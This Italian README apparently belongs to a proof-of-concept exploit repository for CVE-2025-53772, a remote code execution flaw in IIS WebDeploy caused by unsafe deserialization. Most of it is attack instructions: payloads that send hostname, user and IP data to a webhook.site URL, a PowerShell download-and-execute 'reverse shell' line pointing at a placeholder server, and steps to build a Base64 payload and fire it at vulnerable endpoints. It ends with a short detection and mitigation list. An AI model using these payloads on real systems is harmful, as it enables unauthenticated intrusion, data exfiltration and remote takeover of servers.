CVE-2025-53772 - Exploit RCE per IIS WebDeploy

Questo repository contiene un exploit Proof-of-Concept (PoC) per CVE-2025-53772, una vulnerabilità di esecuzione remota di codice in IIS WebDeploy attraverso deserializzazione non sicura.

⚠️ Disclaimer

Questo strumento è solo per scopi educativi e test di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software. Utilizzare solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione.

🔧 Configurazione rapida

1. Personalizza il Payload

Modifica il payload in poc.cs alle righe 18-19 per specificare l'azione target:

// Replace with your webhook URL and desired payload

set.Add("cmd.exe");
set.Add("/c curl -X POST https://webhook.site/YOUR-WEBHOOK-ID -H \"Content-Type: application/json\" -d \"{\\\"hostname\\\":\\\"%COMPUTERNAME%\\\",\\\"user\\\":\\\"%USERNAME%\\\",\\\"ip\\\":\\\"$(curl -s ifconfig.me)\\\",\\\"exploit\\\":\\\"CVE-2025-53772\\\",\\\"timestamp\\\":\\\"%DATE% %TIME%\\\"}\"");

📋 Esempi di Payload

Raccolta Informazioni (Consigliato):

csharpset.Add("powershell.exe");
set.Add("-Command \"$hostname=$env:COMPUTERNAME; $user=$env:USERNAME; $ip=(Invoke-RestMethod -Uri 'https://ipinfo.io/ip' -UseBasicParsing); $body=@{hostname=$hostname;user=$user;ip=$ip;exploit='CVE-2025-53772';timestamp=(Get-Date)} | ConvertTo-Json; Invoke-RestMethod -Uri 'https://webhook.site/YOUR-WEBHOOK-ID' -Method Post -Body $body -ContentType 'application/json'\"");

Esecuzione Comando Semplice:

csharpset.Add("cmd.exe");
set.Add("/c calc.exe");  // Opens calculator

Reverse Shell (Avanzato):

csharpset.Add("powershell.exe");
set.Add("-Command \"IEX (New-Object Net.WebClient).DownloadString('http://YOUR-SERVER/shell.ps1')\"");

2. Genera il Payload dell'Exploit

L'azione GitHub compilerà automaticamente il PoC e genererà il payload codificato in Base64:

• Esegui il push delle modifiche per attivare l'azione GitHub
• Vai alla scheda Azioni nel tuo repository
• Clicca sull'ultima esecuzione del workflow
• Trova il payload generato nell'output della console:

3. Distribuisci l'Exploit

Utilizza il payload Base64 generato contro l'endpoint IIS WebDeploy vulnerabile:

🎯 Dettagli della Vulnerabilità

ID CVE: CVE-2025-53772

Software interessato: IIS WebDeploy (versioni multiple) Tipo di vulnerabilità: Deserializzazione non sicura che porta a RCE Vettore di attacco: Remoto, non autenticato Gravità: Critica

🛠️ Compilazione Manuale (Opzionale)

Se preferisci compilare localmente invece di usare le azioni GitHub:

# Windows with .NET Framework
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe poc.cs
poc.exe > payload.txt

Oppure con Visual Studio

csc poc.cs
poc.exe

📡 Configurazione di un Webhook

• Vai su webhook.site per ottenere un URL webhook gratuito
• Sostituisci YOUR-WEBHOOK-ID nel payload con il tuo ID univoco
• Monitora le richieste in arrivo per vedere i risultati dell'esecuzione dell'exploit

🔍 Rilevamento e Mitigazione

Rilevamento:

• Monitorare attività insolite di deserializzazione di BinaryFormatter
• Cercare processi sospetti generati dai processi worker IIS
• Monitoraggio di rete per connessioni in uscita inaspettate

Mitigazione:

• Aggiornare IIS WebDeploy all'ultima versione patchata
• Implementare convalida e sanificazione dell'input
• Utilizzare liste consentite per i tipi di deserializzazione
• Implementare segmentazione e monitoraggio della rete

📚 Riferimenti

Dettagli CVE-2025-53772 Avviso di sicurezza Microsoft Database di vulnerabilità NIST